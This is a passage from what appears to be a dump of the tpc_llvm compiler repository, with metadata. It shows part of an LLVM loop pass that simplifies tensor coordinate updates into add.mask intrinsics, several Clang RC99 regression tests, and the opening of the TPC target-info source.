loop header block exhibits a Unary compute pattern\n bool hasProfitablePattern(std::string Indent = \"\\t\");\n\n // check if the Coords simplification is profitable\n bool isSimplifyProfitable(std::string Indent = \"\\t\");\n\n // check if it is safe to simplify the given coord instruction\n bool isSafeToSimplifyInst(Instruction *I, std::string Indent);\n\n // check if the Coords can be simplified\n bool isSimplifyPossible(std::string Indent = \"\\t\");\n};\n\nchar CoordUpdateSimplify::ID = 0;\n\nINITIALIZE_PASS_BEGIN(CoordUpdateSimplify, PassName, PassDescription, false,\n false)\nINITIALIZE_PASS_DEPENDENCY(LoopPass)\nINITIALIZE_PASS_END(CoordUpdateSimplify, PassName, PassDescription, false,\n false)\n\nPass *llvm::createCoordUpdateSimplifyPass() {\n return new CoordUpdateSimplify();\n}\n\nvoid CoordUpdateSimplify::dumpLoopBlocks(std::string HeaderNote) {\n LLVM_DEBUG(CSP_DEBUG(\"Loop Blocks : \" << HeaderNote);\n CSP_DEBUG(*PreheaderBlock << \"\\n----\");\n CSP_DEBUG(*HeaderBlock << \"\\n----\");\n CSP_DEBUG(*ExitBlock << \"\\n----\"););\n}\n\nvoid CoordUpdateSimplify::resetContainers() {\n TargetInsts.clear();\n LoopStructureInsts.clear();\n NonComputeIntrinIDs.clear();\n}\n\n// Since the Intrinsics structure do not contain information on whether they\n// are of compute/non-compute type, this set (NonComputeIntrinIDs) is used in\n// a categorization local to this pass, and does not intend to provide an\n// exhaustive list of non-computes.\n//\n// For now this Set of non-compute Intrinsics serves the purpose of being\n// conservative while bailing-out on cases with compute Inst count higher than\n// a tolerable limit.\nvoid CoordUpdateSimplify::populateNonComputeIntrinIDs() {\n NonComputeIntrinIDs.insert(Intrinsic::tpc_ld_tnsr);\n NonComputeIntrinIDs.insert(Intrinsic::tpc_ld_g);\n NonComputeIntrinIDs.insert(Intrinsic::tpc_st_tnsr);\n NonComputeIntrinIDs.insert(Intrinsic::tpc_st_g);\n NonComputeIntrinIDs.insert(Intrinsic::tpc_add_mask);\n NonComputeIntrinIDs.insert(Intrinsic::tpc_set_indx);\n}\n\n// get the users of the given Instruction within the Instruction's parent\n// block, which are not PHI nodes and not of InsertElementInst type\nInstructionSetType CoordUpdateSimplify::getInductionUses(Instruction *I) {\n InstructionSetType BlockUsers;\n for (auto User : I->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n if (UserInst->getParent() != I->getParent())\n continue;\n if (isa<PHINode>(UserInst))\n continue;\n if (isa<InsertElementInst>(UserInst))\n continue;\n BlockUsers.insert(UserInst);\n }\n\n return BlockUsers;\n}\n\n// initialize the data needed for Induction Phi check\nvoid CoordUpdateSimplify::initAnalysisInfo() {\n SE = &getAnalysis<ScalarEvolutionWrapperPass>().getSE();\n WorkingLoop->getInductionDescriptor(*SE, InductionDesc);\n}\n\nbool CoordUpdateSimplify::isInductionPHI(PHINode *PhiNode) {\n return InductionDescriptor::isInductionPHI(PhiNode, WorkingLoop, SE,\n InductionDesc);\n}\n\nbool CoordUpdateSimplify::hasProfitablePattern(std::string Indent) {\n // populate useful info to detect profitable pattern\n populateNonComputeIntrinIDs();\n TPCOptUtils::populateLoopStructInsts(WorkingLoop, LoopStructureInsts);\n\n // NOTE : since this pass is scheduled before the unroll pass, we assume that\n // it is alright if this function conservatively reports false for manually\n // unrolled loops, with NumLoads > 1\n // Also, this check is intended to be temporary and open for modifications\n unsigned NumLoads = 0, NumComputes = 0;\n for (Instruction &Inst : *HeaderBlock) {\n Instruction *I = &Inst;\n if (TPCOptUtils::isComputeInst(\n I, NonComputeIntrinIDs, LoopStructureInsts,\n [&](PHINode *PhiNode) -> bool { return isInductionPHI(PhiNode); }))\n NumComputes += 1;\n else if (TPCOptUtils::isIntrinsicOfType(I, Intrinsic::tpc_ld_tnsr))\n NumLoads += 1;\n }\n CSP_DEBUG(Indent << \"NumLoads = \" << NumLoads)\n CSP_DEBUG(Indent << \"NumComputes = \" << NumComputes)\n\n // MaxNumLoads and MaxNumComputes are configurable tolerance limit for the\n // number of loads and computes resp. in the innermost loop's Header Block.\n // Default values are set as per the observations made on elemntwise\n // unary-like patterns and contain the effect of this pass to loops with\n // similar patterns.\n return (NumLoads == MaxNumLoads && NumComputes <= MaxNumComputes);\n}\n\nbool CoordUpdateSimplify::isSimplifyProfitable(std::string Indent) {\n // NOTE : for profitability (based on the observation of performance\n // improvements/regressions), the coord update simplify in it's current form\n // is limited to elementwise unary kernels and those with similar pattern.\n // TODO : this check is temporary and is supposed to evolve with further\n // observations\n if (!hasProfitablePattern(Indent + \"\\t\")) {\n CSP_DEBUG(\n Indent\n << \"Computation pattern not favourable for performance, exiting ...\")\n return false;\n }\n\n // check if we need not worry about potential register spills\n unsigned BlockSize = HeaderBlock->getInstList().size();\n if (BlockSize <= BlockSizeCaution)\n return true;\n\n // see example below\n double SafeAndProfitableLiveRange =\n static_cast<double>(BlockSize) * LiveRangeToleranceFactor;\n\n auto It = TargetInsts.begin();\n while (It != TargetInsts.end()) {\n Instruction *I = *It;\n Value *LastUse = TPCOptUtils::findLastUse(I, BBInstOrder);\n Instruction *TargetLastUseInst = LastUse ? cast<Instruction>(LastUse) : I;\n\n Instruction *BasePHIInst = cast<Instruction>(getBaseVal(I));\n Value *BaseLastUse = TPCOptUtils::findLastUse(BasePHIInst, BBInstOrder);\n assert(BaseLastUse && \"InsertElementInst is at least one user\");\n Instruction *BaseLastUseInst = cast<Instruction>(BaseLastUse);\n\n // After :\n // distane between the BasePHI and Target's last use\n // BaseNewLastUse = max(\n // [[ BasePHI ---> ~InsertElement~ ---> TargetLastUse ---> Add.Mask ]],\n // [[ BasePHI ---> ... ---> BaseLastUseInst ]])\n // (after simplify, 'I' will be deleted and add.mask, inserted after I's\n // last use, will be using the BasePHI)\n Instruction *BaseNewLastUse =\n (BBInstOrder[TargetLastUseInst] < BBInstOrder[BaseLastUseInst])\n ? BaseLastUseInst\n : TargetLastUseInst;\n unsigned BaseLiveRangeAfter =\n BBInstOrder[BaseNewLastUse] - BBInstOrder[BasePHIInst];\n // TODO : modify this calculation if add.mask insertion point is changed\n\n // check live range safety\n // for e.g.:\n // BlockSize = 110, LiveRangeToleranceFactor = 0.2 =>\n // SafeAndProfitableLiveRange = 22\n // any BaseLiveRangeAfter greater than SafeAndProfitableLiveRange will avoid\n // the coord simplification\n if (static_cast<double>(BaseLiveRangeAfter) > SafeAndProfitableLiveRange) {\n // but, do one last check : has the live range changed at all?\n // Before :\n // BaseLiveRange =\n // [[ BasePHI ---> InsertElement ---> BaseLastUse ]]\n unsigned BaseLiveRange =\n BBInstOrder[BaseLastUseInst] - BBInstOrder[BasePHIInst];\n // TargetLiveRange =\n // BasePHI ---> [[ InsertElement ---> InsertElementLastUse ]]\n unsigned TargetLiveRange =\n BBInstOrder[TargetLastUseInst] - BBInstOrder[I];\n // longer of the two\n unsigned LiveRangeBefore =\n (BaseLiveRange > TargetLiveRange) ? BaseLiveRange : TargetLiveRange;\n if (LiveRangeBefore < BaseLiveRangeAfter) {\n CSP_DEBUG(Indent << \"Not profitable to Simplify (skipping ...) :\")\n CSP_DEBUG(Indent << *I)\n It = TargetInsts.erase(It);\n continue;\n }\n }\n It++;\n }\n\n return TargetInsts.size();\n}\n\nbool CoordUpdateSimplify::isSafeToSimplifyInst(Instruction *I,\n std::string Indent) {\n // check-1 : get the base\n auto *BasePHI = getBaseVal(I);\n if (!BasePHI) {\n CSP_DEBUG(Indent << \"Base Value not a PHINode, continuing ...\")\n return false;\n }\n\n // check-2.0 : BasePHI has no user other than the insertelement\n if (cast<Value>(BasePHI)->getNumUses() != 1) {\n CSP_DEBUG(Indent\n << \"BasePHI has a user other than the TargetInst, continuing ...\")\n return false;\n }\n\n // check-2.1 : 'I' should be the incoming value of the BasePHI\n Instruction *BaseIncoming =\n cast<Instruction>(BasePHI->getIncomingValueForBlock(HeaderBlock));\n if (BaseIncoming != I) {\n CSP_DEBUG(Indent << \"Candidate should be HeaderBlock-Incoming Value of \"\n \"it's Base Val, continuing ...\")\n return false;\n }\n\n // check-3 : get the insert value\n auto *InsertValPHI = getInsertVal(I);\n if (!InsertValPHI) {\n CSP_DEBUG(Indent << \"Insertion Value not a PHINode, continuing ...\")\n return false;\n }\n // check-4 : check whether the InsertVal is Induction Phi\n if (!isInductionPHI(InsertValPHI)) {\n CSP_DEBUG(Indent << \"Insertion Value not an Induction PHI, continuing ...\")\n return false;\n }\n // check-5 : check whether there is just one update of the induction Phi\n InstructionSetType InductionUses = getInductionUses(InsertValPHI);\n if (InductionUses.size() > 1) {\n CSP_DEBUG(\n Indent\n << \"Induction PHI does not have exactly one update, continuing ...\")\n return false;\n }\n auto *InsertValIncoming =\n cast<Instruction>(InsertValPHI->getIncomingValueForBlock(HeaderBlock));\n auto *InductionUpdate = *InductionUses.begin();\n // check-6 : the only induction update should be the incoming value of the\n // Induction Phi for the Header block\n if (InductionUpdate != InsertValIncoming) {\n CSP_DEBUG(Indent << \"Induction update should be HeaderBlock-Incoming \"\n \"Value of the Induction PHI, continuing ...\")\n return false;\n }\n\n // check-7 : ensure the Induction step is achieved through Add\n if (InductionUpdate->getOpcode() != Instruction::Add) {\n CSP_DEBUG(\n Indent << \"Induction update should be add instruction, continuing ...\")\n return false;\n }\n\n // check-8 : ensure the Induction step is a const value\n if (!(isa<ConstantInt>(InductionUpdate->getOperand(0)) ||\n isa<ConstantInt>(InductionUpdate->getOperand(1)))) {\n CSP_DEBUG(Indent << \"Induction step must be a constant, continuing ...\")\n return false;\n }\n\n // check-9 : ensure BasePHI has non-Constant Preheader incoming value\n if (isa<Constant>(BasePHI->getIncomingValueForBlock(PreheaderBlock))) {\n CSP_DEBUG(Indent << \"BasePHI's Preheader incoming value cannot be \"\n \"Constant, continuing ...\")\n return false;\n }\n\n // check-10 : ensure the only user of TargetInst outside the HeaderBlock is\n // one LCSSA PHI node\n bool HasExitLcssaUser = false;\n for (auto User : I->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n BasicBlock *ParentBB = UserInst->getParent();\n if (ParentBB == HeaderBlock)\n continue;\n if (UserInst->getParent() == ExitBlock && !HasExitLcssaUser &&\n isa<PHINode>(UserInst)) {\n ExitLcssaPhiMap.insert(std::make_pair(I, UserInst));\n HasExitLcssaUser = true;\n } else {\n CSP_DEBUG(\n Indent << \"The loop is posiibly not in LCSSA form, continuing ...\")\n return false;\n }\n }\n\n return true;\n}\n\nbool CoordUpdateSimplify::isSimplifyPossible(std::string Indent) {\n // check if the loop is the innermost\n if (WorkingLoop->getSubLoops().size()) {\n CSP_DEBUG(Indent << \"Not an innerloop, exiting ...\")\n return false;\n }\n\n // set basic blocks\n HeaderBlock = WorkingLoop->getHeader();\n PreheaderBlock = WorkingLoop->getLoopPreheader();\n if (!PreheaderBlock) {\n CSP_DEBUG(Indent << \"Preheader block not found for loop, exiting ...\");\n return false;\n }\n ExitBlock = WorkingLoop->getExitBlock();\n if (!ExitBlock) {\n CSP_DEBUG(Indent << \"Exit block not found for loop, exiting ...\");\n return false;\n }\n\n // The loop should have no branching\n if (WorkingLoop->getNumBlocks() > 1) {\n CSP_DEBUG(Indent << \"Branching detected within the loop, exiting ...\")\n return false;\n }\n\n // conservatively avoid applying transformation if the block size is beyond\n // the maximum value allowed\n if (HeaderBlock->getInstList().size() > BlockSizeMax) {\n CSP_DEBUG(\n Indent\n << \"HeaderBlock is too big to safely simplify coords, exiting ...\")\n return false;\n }\n\n // collect all insert-element instructions, which can be translated to\n // add.mask intrinsics\n for (Instruction &Inst : *HeaderBlock) {\n Instruction *I = &Inst;\n if (!isa<InsertElementInst>(I))\n continue;\n\n CSP_DEBUG(Indent << \"Candidate insertelement Inst :\")\n CSP_DEBUG(Indent << *I)\n\n if (isSafeToSimplifyInst(I, Indent + \"\\t\"))\n TargetInsts.insert(I);\n }\n\n LLVM_DEBUG(CSP_DEBUG(Indent << \"Target Coord update instructions : {\");\n for (auto I\n : TargetInsts) {\n CSP_DEBUG(Indent << *I);\n } CSP_DEBUG(Indent << \"}\"));\n\n return TargetInsts.size();\n}\n\nValue *CoordUpdateSimplify::getPreheaderVersion(PHINode *PhiNode,\n std::string DebugTag) {\n Instruction *I = cast<Instruction>(PhiNode);\n auto It = InstCloneMap.find(I);\n if (It != InstCloneMap.end())\n return It->second;\n\n Value *PreIncomingValue = PhiNode->getIncomingValueForBlock(PreheaderBlock);\n Instruction *PreIncomingInst = dyn_cast<Instruction>(PreIncomingValue);\n if (!PreIncomingInst)\n return PreIncomingValue;\n\n // this could be a pass-through Phi node, so creation maybe required\n if (PreIncomingInst->getParent() != PreheaderBlock) {\n unsigned PredsCount = llvm::pred_size(PreheaderBlock);\n if (PredsCount > 1) {\n // need to create a new Phi node\n auto *PrePHI = TPCOptUtils::createPHIWithIncomingPreds(\n PreheaderBlock, PredsCount, PreIncomingValue);\n TPCOptUtils::insertIntoBlock(PreheaderBlock, cast<Instruction>(PrePHI),\n BBInsertIt, BBPhiInsertIt, DebugTag + \"\\t\");\n PreIncomingValue = cast<Value>(PrePHI);\n PreIncomingInst = cast<Instruction>(PrePHI);\n }\n }\n InstCloneMap.insert(std::make_pair(I, PreIncomingInst));\n\n return PreIncomingValue;\n}\n\nvoid CoordUpdateSimplify::preInitCoords(std::string Indent) {\n std::string DebugTag = \"<preInitCoords> \" + Indent;\n CSP_DEBUG(DebugTag << \"[Begin]\")\n\n BBPhiInsertIt = PreheaderBlock->begin();\n BBInsertIt = PreheaderBlock->end();\n BBInsertIt--;\n\n CSP_DEBUG(DebugTag << \"Visiting each TargetInst ...\")\n for (auto I : TargetInsts) {\n CSP_DEBUG(DebugTag << \"----\")\n CSP_DEBUG(DebugTag << \"\\t\" << *I)\n\n auto *BasePHI = getBaseVal(I);\n auto *InsertValPHI = getInsertVal(I);\n\n // prepare Pre-BasePhi\n Value *PreBasePHI = getPreheaderVersion(BasePHI, DebugTag);\n\n // prepare Pre-InductionPhi\n Value *PreInsertValPHI = getPreheaderVersion(InsertValPHI, DebugTag);\n\n // clone insertelement with operands:\n // 0 - PreBasePHI\n // 1 - PreInsertValPHI\n // with this we achieve initialization of Coord before entering the Header\n Instruction *IClone = I->clone();\n IClone->replaceUsesOfWith(BasePHI, PreBasePHI);\n IClone->replaceUsesOfWith(InsertValPHI, PreInsertValPHI);\n TPCOptUtils::insertIntoBlock(PreheaderBlock, IClone, BBInsertIt,\n BBPhiInsertIt, DebugTag + \"\\t\");\n\n // fix the Header Phis\n // BasePHI\n BasePHI->removeIncomingValue(PreheaderBlock, false);\n BasePHI->addIncoming(IClone, PreheaderBlock);\n\n if (isa<Constant>(PreInsertValPHI))\n continue;\n // InductionPHI\n InsertValPHI->removeIncomingValue(PreheaderBlock, false);\n InsertValPHI->addIncoming(PreInsertValPHI, PreheaderBlock);\n }\n\n CSP_DEBUG(DebugTag << \"[End]\")\n\n return;\n}\n\nInstruction *CoordUpdateSimplify::createAddMaskInst(Instruction *I) {\n // 'I' should be an insertelement instruction\n assert(isa<InsertElementInst>(I) &&\n \"Invalid Target instruction - not an InsertElementInst\");\n\n auto *BasePHI = getBaseVal(I);\n\n // get the element index from insertelement\n auto *Dim = cast<ConstantInt>(I->getOperand(2));\n\n IRBuilder<> Builder(HeaderBlock);\n LLVMContext &C = HeaderBlock->getContext();\n Type *Int32Ty = Type::getInt32Ty(C);\n Type *Int5x32Ty = VectorType::get(Int32Ty, 5);\n\n Constant *IRFLocation =\n ConstantInt::get(Int32Ty, (1LL << Dim->getZExtValue()));\n Constant *ZeroVal = ConstantInt::get(Int32Ty, 0);\n\n Function *AddMaskFunc = Intrinsic::getDeclaration(\n HeaderBlock->getModule(), Intrinsic::tpc_add_mask, {Int5x32Ty, Int32Ty});\n Instruction *AddMask = Builder.CreateCall(\n AddMaskFunc, {BasePHI, InductionStep, IRFLocation,\n ConstantInt::get(Type::getInt8Ty(C), Int32OpType), ZeroVal,\n BasePHI, ConstantInt::get(Type::getInt1Ty(C), 1),\n ConstantInt::get(Type::getInt1Ty(C), 0)});\n\n return AddMask;\n}\n\nvoid CoordUpdateSimplify::patchLcssaPHINodes(Instruction *I,\n Instruction *AddMaskInst,\n std::string Indent) {\n auto It = ExitLcssaPhiMap.find(I);\n if (It == ExitLcssaPhiMap.end()) {\n CSP_DEBUG(Indent << \"No lcssa phi node to fix, exiting ...\")\n return;\n }\n\n Instruction *LcssaPHIInst = It->second;\n LcssaPHIInst->replaceUsesOfWith(I, AddMaskInst);\n // now add correction instruction\n int64_t InductionStepInt = cast<ConstantInt>(InductionStep)->getSExtValue();\n auto *NewStep =\n ConstantInt::get(InductionStep->getType(), -InductionStepInt, true);\n Instruction *LcssaCorrection = AddMaskInst->clone();\n LcssaCorrection->replaceUsesOfWith(getBaseVal(I), LcssaPHIInst);\n LcssaCorrection->setOperand(1, NewStep);\n\n BBInsertIt = ExitBlock->end();\n BBInsertIt--;\n TPCOptUtils::insertIntoBlock(ExitBlock, LcssaCorrection, BBInsertIt,\n BBPhiInsertIt, Indent + \"\\t\");\n // replace the uses of LCSSA PHI with the correction\n for (auto User : LcssaPHIInst->users()) {\n Instruction *UserInst = cast<Instruction>(User);\n if (UserInst == LcssaCorrection)\n continue;\n UserInst->replaceUsesOfWith(LcssaPHIInst, LcssaCorrection);\n }\n\n return;\n}\n\nvoid CoordUpdateSimplify::replaceHeaderUpdates(std::string Indent) {\n std::string DebugTag = \"<replaceHeaderUpdates> \" + Indent;\n\n CSP_DEBUG(DebugTag << \"[Begin]\")\n\n CSP_DEBUG(DebugTag << \"Visiting each TargetInst ...\")\n for (auto I : TargetInsts) {\n CSP_DEBUG(DebugTag << \"----\")\n CSP_DEBUG(DebugTag << \"\\t\" << *I)\n\n Instruction *AddMaskInst = createAddMaskInst(I);\n\n // identify the last use of the target\n Instruction *LastUse = TPCOptUtils::findLastUse(I, BBInstOrder);\n // when there is no use of target within the block, move the add.mask\n // right next to the target (before it's deletion)\n Instruction *MoveAfter = LastUse ? LastUse : I;\n // NOTE : the case where there is no user of insertelement within this\n // block should have been handled in loop strength reduction\n // TODO : avoid add.mask simplification in this case, directly insert the\n // live-out value of induction var in the Exit block (and simplify loop)\n\n // lcssa phi should now use the new add.mask value\n patchLcssaPHINodes(I, AddMaskInst);\n\n // fix the BasePHI with add.mask incoming value from HeaderBlock\n auto *BasePHI = getBaseVal(I);\n BasePHI->removeIncomingValue(HeaderBlock);\n BasePHI->addIncoming(AddMaskInst, HeaderBlock);\n\n // all other uses within HeaderBlock will now use BasePHI\n I->replaceAllUsesWith(BasePHI);\n // position the add.mask instruction right after the last use of\n // insertelement\n AddMaskInst->moveAfter(MoveAfter);\n\n assert(I->getNumUses() == 0 && \"Incorrect user replacement!\");\n // insertelement instruction is no longer required\n I->eraseFromParent();\n }\n CSP_DEBUG(DebugTag << \"[End]\")\n\n return;\n}\n\nvoid CoordUpdateSimplify::computeAddMaskStep() {\n Instruction *I = *(TargetInsts.begin());\n auto *InsertValPHI = getInsertVal(I);\n Instruction *InsertValIncoming =\n cast<Instruction>(InsertValPHI->getIncomingValueForBlock(HeaderBlock));\n // TODO: use TPCOptUtils::getAddend\n // the check-7 ensures that incoming inst is an 'Add'\n Value *InductionOp0 = InsertValIncoming->getOperand(0);\n Value *InductionOp1 = InsertValIncoming->getOperand(1);\n InductionStep = isa<ConstantInt>(InductionOp0) ? InductionOp0 : InductionOp1;\n return;\n}\n\nvoid CoordUpdateSimplify::simplifyCoordUpdates() {\n // init step value\n computeAddMaskStep();\n\n // initialize the TargetVal outside the Header\n preInitCoords();\n dumpLoopBlocks(\"(After preInitCoords())\");\n\n replaceHeaderUpdates();\n dumpLoopBlocks(\"(After replaceHeaderUpdates())\");\n\n return;\n}\n\nbool CoordUpdateSimplify::runOnLoop(Loop *L, LPPassManager &LPM) {\n if (!CoordUpdateFlag) {\n CSP_DEBUG(\"Coordinate Simplify Pass disabled for this loop; not applied\")\n return false;\n }\n\n WorkingLoop = L;\n initAnalysisInfo();\n\n if (!isSimplifyPossible()) {\n CSP_DEBUG(\"Coordinate Simplification is not possible; not applied\")\n resetContainers();\n return false;\n }\n\n if (!isSimplifyProfitable()) {\n CSP_DEBUG(\"Coordinate Simplification is not profitable; not applied\")\n resetContainers();\n return false;\n }\n\n simplifyCoordUpdates();\n resetContainers();\n\n return true;\n}\n" }, { "alpha_fraction": 0.7100591659545898, "alphanum_fraction": 0.7100591659545898, "avg_line_length": 17.77777862548828, "blob_id": "726c5cf97718da0d2c949c7ae2539a13055a51ce", "content_id": "85232e4b71f41c79016584f4800d7cf273bcbd8a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 169, "license_type": "permissive", "max_line_length": 49, "num_lines": 9, "path": "/clang/test/RC99/check-special.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -fsyntax-only %s\n// expected-no-diagnostics\n\n#ifndef TPC_SPECIAL_H_INCLUDED\n#error \"tpc-special.h file must be auto-included\"\n#endif\n\nvoid main() {\n}\n" }, { "alpha_fraction": 0.41473865509033203, "alphanum_fraction": 0.5124250054359436, "avg_line_length": 32.342857360839844, "blob_id": "93de4d3f19349386ca9aff65af5ce804607f9cbe", "content_id": "279bd14df73f82cabdc28bf3ba5086c8fe1af82f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1167, "license_type": "permissive", "max_line_length": 80, "num_lines": 35, "path": "/clang/test/RC99/regression/mov_test.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// gaudi-197\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck %s\n\n// CHECK: set_indx [[coords:%I[0-9]+]], b11111, 0x0\n// CHECK: ld_tnsr [[v0:%V[0-9]+]], 0x0, [[coords]], [[SP:%SP[0-9]+]]\n// CHECK: ld_tnsr [[v1:%V[0-9]+]], 0x1, [[coords]], [[SP]]\n// CHECK: cmp_grt.i32 [[mask:%VP[0-9]+]], [[v1]], [[v0]], [[SP]]\n// CHECK: mov [[tmp:%V[0-9]+]], [[v1]], [[mask]]\n// CHECK: mov [[o1:%V[0-9]+]], [[v0]], [[mask]]\n// CHECK: mov [[o2:%V[0-9]+]], [[tmp]], [[mask]]\n// CHECK: st_tnsr 0x2, [[coords]], [[o2]], [[SP]]\n// CHECK: st_tnsr 0x3, [[coords]], [[o1]], [[SP]]\n\nvoid main(tensor t0,\n tensor t1,\n tensor t2,\n tensor t3,\n int num)\n{\n int5 coords = {0};\n int64 v0;\n int64 v1;\n v0 = v_i32_ld_tnsr_i_b(coords,t0,v0,1,0);\n v1 = v_i32_ld_tnsr_i_b(coords,t1,v1,1,0);\n\n bool256 mask;mask = bv_i32_cmp_grt_v_v_b(v1,v0,mask,1,0);\n // switch places\n int64 tmp;tmp = v_i32_mov_v_vb(v1,tmp,mask,0);\n v1 = v_i32_mov_v_vb(v0,v1,mask,0);\n v0 = v_i32_mov_v_vb(tmp,v0,mask,0);\n\n // write result externally\n i32_st_tnsr_i_v_b(coords,t2,v0,1,0);\n i32_st_tnsr_i_v_b(coords,t3,v1,1,0);\n}\n" }, { "alpha_fraction": 0.4450693726539612, "alphanum_fraction": 0.5181851983070374, "avg_line_length": 31.524391174316406, "blob_id": "17e3ddd745f87ea06824c06f76b93a6012fb09cb", "content_id": "4b1a314b205b656686b1c92011cf4f13ad4faa9b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2667, "license_type": "permissive", "max_line_length": 96, "num_lines": 82, "path": "/clang/test/RC99/Intrinsics/ld_tnsr.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu dali %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck %s\n\n\n\nvoid main(tensor input, int dest, _Bool pred) {\n int5 index = {0};\n int64 __local *vector_ptr = (int64 __local *)dest;\n\n {\n float64 __local *dest_ptr = (float64 __local *)vector_ptr;\n float64 res = 0;\n \n res = v_f32_ld_tnsr_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n int64 __local *dest_ptr = (int64 __local *)vector_ptr;\n int64 res = 0;\n\n res = v_i32_ld_tnsr_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uint64 __local *dest_ptr = (uint64 __local *)vector_ptr;\n uint64 res = 0;\n\n res = v_u32_ld_tnsr_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n short128 __local *dest_ptr = (short128 __local *)vector_ptr;\n short128 res = 0;\n\n res = v_i16_ld_tnsr_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n ushort128 __local *dest_ptr = (ushort128 __local *)vector_ptr;\n ushort128 res = 0;\n\n res = v_u16_ld_tnsr_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n char256 __local *dest_ptr = (char256 __local *)vector_ptr;\n char256 res = 0;\n\n res = v_i8_ld_tnsr_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n uchar256 __local *dest_ptr = (uchar256 __local *)vector_ptr;\n uchar256 res = 0;\n\n res = v_u8_ld_tnsr_b(index + 1, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %V{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n {\n bool256 __local *dest_ptr = (bool256 __local *)vector_ptr;\n bool256 res = 0;\n\n res = v_i1_ld_tnsr_b(index, input, 0, res, pred, 0);\n *dest_ptr++ = res;\n vector_ptr = (int64 __local *)dest_ptr;\n // CHECK-DAG: ld_tnsr %VP{{[0-9]+}}, 0x0, %I{{[0-9]+}}, %SP{{[0-9]+}}\n }\n}\n" }, { "alpha_fraction": 0.5400167107582092, "alphanum_fraction": 0.588399350643158, "avg_line_length": 29.26160430908203, "blob_id": "4a7e5af5ffa26eda038425aa1c6860809a5deef4", "content_id": "492ccedd1ea44441f680e563d13daa03476d9152", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7172, "license_type": "permissive", "max_line_length": 83, "num_lines": 237, "path": "/clang/lib/Basic/Targets/TPC.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.cpp - Implement TPC target feature support -------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements TPC TargetInfo objects.\n//\n//===----------------------------------------------------------------------===//\n#ifdef LLVM_TPC_COMPILER\n#include \"TPC.h\"\n#include \"Targets.h\"\n#include \"clang/Basic/Builtins.h\"\n#include \"clang/Basic/MacroBuilder.h\"\n#include \"clang/Basic/TargetBuiltins.h\"\n\nnamespace clang {\nnamespace targets {\n\nconst Builtin::Info TPCTargetInfo::BuiltinInfo[] = {\n#define BUILTIN(ID, TYPE, ATTRS) \\\n { #ID, TYPE, ATTRS, nullptr, RC99_LANG, nullptr },\n#define TARGET_BUILTIN(ID, TYPE, ATTRS, FEATURE) \\\n { #ID, TYPE, ATTRS, nullptr, RC99_LANG, FEATURE },\n#define TPC_BUILTIN(ID, TYPE, ATTRS, FEATURE, DEFARG) \\\n { #ID, TYPE, ATTRS, nullptr, RC99_LANG, FEATURE, DEFARG },\n#include \"clang/Basic/BuiltinsTPC.def\"\n};\n\n\nstatic const char * const GCCRegNames[] = {\n // VRF\n \"v0\", \"v1\", \"v2\", \"v3\", \"v4\", \"v5\", \"v6\", \"v7\",\n \"v8\", \"v9\", \"v10\", \"v11\", \"v12\", \"v13\", \"v14\", \"v15\",\n \"v16\", \"v17\", \"v18\", \"v19\", \"v20\", \"v21\", \"v22\", \"v23\",\n \"v24\", \"v25\", \"v26\", \"v27\", \"v28\", \"v29\", \"v30\", \"v31\",\n \"v32\", \"v33\", \"v34\", \"v35\", \"v36\", \"v37\", \"v38\", \"v39\",\n \"v40\",\n \"lfsr\", \"lfsr_no_change\", \"v_lane_id_32\", \"v_lane_id_16\", \"v_lane_id_8\",\n // VPRF\n \"vp0\", \"vp1\", \"vp2\", \"vp3\", \"vp4\", \"vp5\", 